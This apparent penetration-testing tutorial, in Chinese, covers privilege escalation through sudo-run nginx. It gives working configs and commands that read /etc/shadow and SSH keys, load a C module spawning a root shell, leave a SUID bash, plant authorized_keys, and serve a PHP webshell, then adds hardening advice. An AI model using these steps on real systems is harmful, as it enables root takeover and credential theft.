Nginx配置文件提權(quán)的實(shí)戰(zhàn)指南
在現(xiàn)代 Linux 系統(tǒng)中,nginx 通常作為 Web 服務(wù)的核心組件運(yùn)行,其支持的模塊化配置、靈活的路徑設(shè)置以及多樣的文件解析能力,為滲透測(cè)試人員在本地提權(quán)過(guò)程中提供了豐富的攻擊面。
本文結(jié)合一次真實(shí)場(chǎng)景,對(duì) nginx 在具有 sudo 權(quán)限的情況下,如何通過(guò)配置文件完成提權(quán)操作進(jìn)行深入剖析,涵蓋 任意文件讀取、模塊加載執(zhí)行、本地提權(quán)、遠(yuǎn)程命令執(zhí)行等關(guān)鍵鏈路。
場(chǎng)景復(fù)現(xiàn)
目標(biāo)系統(tǒng)中,普通用戶 mikannse 通過(guò) sudo -l 被發(fā)現(xiàn)擁有以下權(quán)限:
User mikannse may run the following commands on Config:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
該權(quán)限意味著:mikannse 用戶可以以 root 身份運(yùn)行nginx,那么我們就可以利用nginx配置文件來(lái)提權(quán)。
利用鏈一:任意文件讀?。ㄐ畔⑿孤叮?/h2>
原理說(shuō)明
Nginx 中的 root 指令和 location 配置可以將系統(tǒng)任意目錄暴露為 Web 路徑,當(dāng)以 user root; 身份啟動(dòng) nginx 時(shí),即可突破系統(tǒng)權(quán)限訪問(wèn)敏感文件。
惡意配置示例
user root;
events {}
http {
server {
listen 8080;
location / {
root /;
autoindex on;
}
}
}
效果驗(yàn)證
通過(guò)瀏覽器或 curl 工具訪問(wèn):
curl http://127.0.0.1:8080/root/.ssh/id_rsa curl http://127.0.0.1:8080/etc/shadow
可直接讀取系統(tǒng)中的任意文件,包括 私鑰、shadow 文件、歷史命令記錄等敏感信息。
利用鏈二:動(dòng)態(tài)模塊加載提權(quán)(本地權(quán)限提升)
原理說(shuō)明
Nginx 支持通過(guò) load_module 加載 .so 動(dòng)態(tài)鏈接庫(kù)模塊,而這些模塊本質(zhì)上是標(biāo)準(zhǔn)的 ELF 文件,可以包含任意 C 語(yǔ)言構(gòu)造函數(shù)代碼。一旦以 root 身份加載,便可執(zhí)行任意系統(tǒng)命令。
依賴條件
- 系統(tǒng)具備
gcc編譯環(huán)境 - 當(dāng)前用戶擁有寫(xiě)入配置與模塊的權(quán)限
- 擁有以 root 身份加載配置的能力(sudo)
構(gòu)造流程
編寫(xiě)模塊代碼(rootme.c):
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void pwn() {
setuid(0); setgid(0);
system("/bin/bash -p");
}
編譯為動(dòng)態(tài)模塊:
gcc -fPIC -shared -o /home/mikannse/rootme.so rootme.c
編寫(xiě)惡意 nginx 配置文件(mikannse.conf):
load_module /home/mikannse/rootme.so;
events {}
http {}
啟動(dòng) nginx 加載模塊:
sudo /usr/sbin/nginx -c /home/mikannse/mikannse.conf
一旦模塊被加載,構(gòu)造函數(shù)立即觸發(fā),執(zhí)行 /bin/bash -p,直接獲得一個(gè) root shell。
提示
模塊執(zhí)行方式是立即型的,若不希望 nginx 守護(hù)進(jìn)程化導(dǎo)致 shell 消失,可在模塊中執(zhí)行持久化操作,如寫(xiě)入 SUID 文件:
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
利用鏈三:任意文件寫(xiě)入(PUT 方法 + 持久化)
原理說(shuō)明
Nginx 支持通過(guò) ngx_http_dav_module 開(kāi)啟 WebDAV PUT 功能,實(shí)現(xiàn) HTTP 請(qǐng)求寫(xiě)入本地文件。攻擊者可通過(guò)此方式將 payload 寫(xiě)入系統(tǒng)敏感位置(如 .ssh/authorized_keys、/etc/passwd、/etc/sudoers 等),從而實(shí)現(xiàn)持久化控制或提權(quán)。
示例配置:
user root;
events {}
http {
server {
listen 8081;
location /upload/ {
root /root/.ssh/;
dav_methods PUT;
create_full_put_path on;
client_body_temp_path /tmp;
}
}
}
利用方法:
上傳 SSH 公鑰:
curl -T id_rsa.pub http://127.0.0.1:8081/upload/authorized_keys
然后使用對(duì)應(yīng)私鑰 SSH 登錄獲取 root 權(quán)限。
利用鏈四:?jiǎn)⒂媚_本解析(遠(yuǎn)程命令執(zhí)行)
原理說(shuō)明
如果目標(biāo)系統(tǒng)安裝了 PHP 與 php-fpm,攻擊者可將 nginx 配置為支持 .php 腳本解析,通過(guò)上傳 webshell 實(shí)現(xiàn) RCE(遠(yuǎn)程命令執(zhí)行)。
示例配置:
user root;
events {}
http {
server {
listen 8082;
root /home/mikannse/www;
index index.php;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
上傳 PHP Webshell:
<?php system($_GET['cmd']); ?>
訪問(wèn):
http://127.0.0.1:8082/shell.php?cmd=id
即可實(shí)現(xiàn)任意系統(tǒng)命令執(zhí)行。
利用鏈對(duì)比總結(jié)
| 利用方式 | 所需條件 | 影響范圍 | 持久化能力 |
|---|---|---|---|
| 任意文件讀取 | user root + 監(jiān)聽(tīng)端口 | 整個(gè)系統(tǒng)文件 | ? |
| 模塊加載提權(quán) | gcc + sudo 啟動(dòng) nginx | 獲得 root shell | ?(寫(xiě)入 suid) |
| PUT 文件寫(xiě)入 | dav_methods 開(kāi)啟 | 寫(xiě)入任意系統(tǒng)路徑 | ?(植入 key) |
| 腳本執(zhí)行 RCE | 安裝 php-fpm | 執(zhí)行任意命令 | ? |
防御建議
從防守角度出發(fā),針對(duì)上述攻擊鏈提出以下建議:
最小化 sudo 權(quán)限:
- 嚴(yán)格限制
sudo nginx -c權(quán)限,僅授予可信用戶或采用 wrapper 限定路徑。
禁用模塊加載功能:
- 在編譯 nginx 時(shí)禁用
--with-dynamic-module。 - 或配置
/usr/sbin/nginx為不可執(zhí)行模塊加載路徑。
刪除開(kāi)發(fā)工具鏈:
- 移除生產(chǎn)環(huán)境中不必要的
gcc、make,降低本地模塊構(gòu)造能力。
配置最小權(quán)限用戶運(yùn)行 nginx:
- 避免使用
user root啟動(dòng)服務(wù),限制文件系統(tǒng)訪問(wèn)權(quán)限。
禁止 PUT/DAV 寫(xiě)入:
- 禁用
dav_methods,關(guān)閉 nginx 對(duì) HTTP PUT 的支持。
強(qiáng)化 PHP-FPM 安全配置:
- 禁止處理未知目錄或不受信任路徑。
- 啟用 open_basedir 限制。
結(jié)語(yǔ)
nginx 是一個(gè)功能強(qiáng)大但配置靈活的 Web 服務(wù)器,其 -c 參數(shù)在擁有 sudo 權(quán)限時(shí)可能帶來(lái)嚴(yán)重的安全隱患。一旦攻擊者能加載自定義配置文件,將可能導(dǎo)致從文件泄露、系統(tǒng)提權(quán)到遠(yuǎn)程代碼執(zhí)行的一整條攻擊鏈成立。
在安全加固方面,企業(yè)應(yīng)以“最小權(quán)限原則”和“攻擊面最小化”為核心,避免將復(fù)雜服務(wù)的控制權(quán)下放至普通用戶層級(jí),及時(shí)審計(jì)和收斂類似配置權(quán)限,降低被攻擊面。
以上就是Nginx配置文件提權(quán)的實(shí)戰(zhàn)指南的詳細(xì)內(nèi)容,更多關(guān)于Nginx配置文件提權(quán)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
利用nginx訪問(wèn)日志如何記錄mysql中的用戶id詳解
這篇文章主要給大家介紹了關(guān)于利用nginx訪問(wèn)日志如何記錄mysql中用戶id的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面跟著小編一起來(lái)學(xué)習(xí)學(xué)習(xí)吧。2017-07-07
Nginx可視化管理軟件NginxProxyManager的使用
NginxProxyManager是一款基于Nginx的開(kāi)源可視化管理工具,支持通過(guò)WebUI簡(jiǎn)易管理Nginx服務(wù)器,支持DockerCompose快速部署在Linux、Windows、macOS上,提供SSL證書(shū)獲取、多代理管理等功能,感興趣的可以了解一下2024-11-11
Nginx gateway集群和動(dòng)態(tài)網(wǎng)關(guān)的實(shí)現(xiàn)思路
這篇文章主要介紹了Nginx gateway集群和動(dòng)態(tài)網(wǎng)關(guān),動(dòng)態(tài)網(wǎng)關(guān)即任何配置都實(shí)現(xiàn)不用重啟網(wǎng)關(guān)服務(wù)器都可以及時(shí)刷新,對(duì)Nginx gateway集群相關(guān)知識(shí)感興趣的朋友一起看看吧2022-10-10
Nginx搭建RTMP流媒體服務(wù)器的實(shí)現(xiàn)
本文主要介紹了Nginx搭建RTMP流媒體服務(wù)器的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2022-07-07
在Nginx中如何為頁(yè)面配置用戶名密碼認(rèn)證訪問(wèn)
這篇文章主要介紹了在Nginx中如何為頁(yè)面配置用戶名密碼認(rèn)證訪問(wèn)的問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2025-06-06
權(quán)限問(wèn)題導(dǎo)致Nginx 403 Forbidden錯(cuò)誤的解決方法
這篇文章主要介紹了權(quán)限問(wèn)題導(dǎo)致Nginx 403 Forbidden錯(cuò)誤的解決方法,本文中導(dǎo)致 403 Forbidden錯(cuò)誤的原因是配置文件中沒(méi)有指明一個(gè)用戶,需要的朋友可以參考下2014-08-08
nginx支持codeigniter的pathinfo模式url重寫(xiě)配置寫(xiě)法示例
這篇文章主要介紹了nginx支持codeigniter的pathinfo模式url重寫(xiě)配置寫(xiě)法示例,pathinfo模式是一種開(kāi)發(fā)框架都愛(ài)用的路由模式,需要的朋友可以參考下2014-07-07
通過(guò)nginx實(shí)現(xiàn)方向代理過(guò)程圖解
這篇文章主要介紹了通過(guò)nginx實(shí)現(xiàn)方向代理過(guò)程圖解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-02-02

